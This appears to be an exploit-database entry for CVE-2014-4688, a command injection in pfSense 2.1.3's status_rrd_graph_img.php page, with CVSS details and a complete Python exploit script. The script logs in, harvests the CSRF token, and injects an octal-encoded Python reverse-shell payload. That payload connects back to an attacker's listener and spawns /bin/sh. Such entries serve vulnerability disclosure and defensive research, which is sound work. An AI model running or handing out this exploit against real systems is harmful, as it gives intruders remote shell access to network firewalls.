pfSense 2.1.3 status_rrd_graph_img.php Command Injection

2018.01.16
Credit: absolomb
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/env python3 # Exploit Title: pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection. # Date: 2018-01-12 # Exploit Author: absolomb # Vendor Homepage: https://www.pfsense.org/ # Software Link: https://atxfiles.pfsense.org/mirror/downloads/old/ # Version: <=2.1.3 # Tested on: FreeBSD 8.3-RELEASE-p16 # CVE : CVE-2014-4688 import argparse import requests import urllib import urllib3 import collections ''' pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection. This script will return a reverse shell on specified listener address and port. Ensure you have started a listener to catch the shell before running! ''' parser = argparse.ArgumentParser() parser.add_argument("--rhost", help = "Remote Host") parser.add_argument('--lhost', help = 'Local Host listener') parser.add_argument('--lport', help = 'Local Port listener') parser.add_argument("--username", help = "pfsense Username") parser.add_argument("--password", help = "pfsense Password") args = parser.parse_args() rhost = args.rhost lhost = args.lhost lport = args.lport username = args.username password = args.password # command to be converted into octal command = """ python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("%s",%s)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' """ % (lhost, lport) payload = "" # encode payload in octal for char in command: payload += ("\\" + oct(ord(char)).lstrip("0o")) login_url = 'https://' + rhost + '/index.php' exploit_url = "https://" + rhost + "/status_rrd_graph_img.php?database=queues;"+"printf+" + "'" + payload + "'|sh" headers = [ ('User-Agent','Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0'), ('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'), ('Accept-Language', 'en-US,en;q=0.5'), ('Referer',login_url), ('Connection', 'close'), ('Upgrade-Insecure-Requests', '1'), ('Content-Type', 'application/x-www-form-urlencoded') ] # probably not necessary but did it anyways headers = collections.OrderedDict(headers) # Disable insecure https connection warning urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) client = requests.session() # try to get the login page and grab the csrf token try: login_page = client.get(login_url, verify=False) index = login_page.text.find("csrfMagicToken") csrf_token = login_page.text[index:index+128].split('"')[-1] except: print("Could not connect to host!") exit() # format login variables and data if csrf_token: print("CSRF token obtained") login_data = [('__csrf_magic',csrf_token), ('usernamefld',username), ('passwordfld',password), ('login','Login') ] login_data = collections.OrderedDict(login_data) encoded_data = urllib.parse.urlencode(login_data) # POST login request with data, cookies and header login_request = client.post(login_url, data=encoded_data, cookies=client.cookies, headers=headers) else: print("No CSRF token!") exit() if login_request.status_code == 200: print("Running exploit...") # make GET request to vulnerable url with payload. Probably a better way to do this but if the request times out then most likely you have caught the shell try: exploit_request = client.get(exploit_url, cookies=client.cookies, headers=headers, timeout=5) if exploit_request.status_code: print("Error running exploit") except: print("Exploit completed")


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top